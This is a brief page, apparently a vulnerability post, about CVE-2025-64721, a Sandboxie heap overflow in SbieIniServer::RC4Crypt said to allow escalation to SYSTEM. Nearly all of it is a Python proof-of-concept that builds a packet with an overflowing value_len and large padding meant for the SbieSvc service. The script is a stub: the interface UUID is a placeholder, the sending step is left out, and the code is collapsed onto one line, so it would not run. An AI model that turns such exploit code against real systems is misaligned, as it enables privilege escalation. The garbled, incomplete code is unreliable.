CVE-2025-64721 Sandboxie堆溢出漏洞导致SYSTEM权限提升

import struct import ctypes # PoC for CVE-2025-64721 - Sandboxie SbieIniServer::RC4Crypt Heap Overflow # This demonstrates triggering the integer overflow via large value_len parameter def trigger_heap_overflow(): """ Trigger heap overflow in SbieIniServer::RC4Crypt by providing oversized value_len The vulnerability exists because: 1. Handler adds fixed header size to caller-controlled value_len 2. No overflow checking is performed 3. Large value_len (e.g., 0xFFFFFFF0) causes allocation size wrap 4. Data copy causes heap overflow """ # Target the SbieIniServer RPC interface # Connection to SbieSvc.exe SYSTEM service # Malicious payload structure # value_len set to trigger integer overflow MALICIOUS_VALUE_LEN = 0xFFFFFFF0 # Causes overflow when + header_size # Craft malicious RC4Crypt request # The RPC interface UUID for SbieIniServer interface_uuid = "..." # Build the exploit packet packet = bytearray() # Header with controlled length packet += b'\x00\x00' # Some header marker # The critical value_len that triggers overflow packet += struct.pack('<I', MALICIOUS_VALUE_LEN) # Little-endian 32-bit # Padding to trigger overflow during copy # This will be written beyond the undersized buffer overflow_data = b'A' * 0x10000 # Large padding packet += overflow_data # Send to SbieSvc.exe via named pipe or RPC # pipe_name = "\\\\.\\pipe\\SbieSvc\\SbieIniServer" print(f"[*] Crafted malicious packet: {len(packet)} bytes") print(f"[*] value_len: 0x{MALICIOUS_VALUE_LEN:08X}") print(f"[*] Expected allocation size (wrapped): {0x10 + MALICIOUS_VALUE_LEN & 0xFFFFFFFF:08X}") print(f"[*] Sending exploit to SbieSvc.exe...") # In real attack, connect to RPC interface and send crafted packet # This would trigger heap overflow allowing code execution as SYSTEM return True if __name__ == "__main__": trigger_heap_overflow()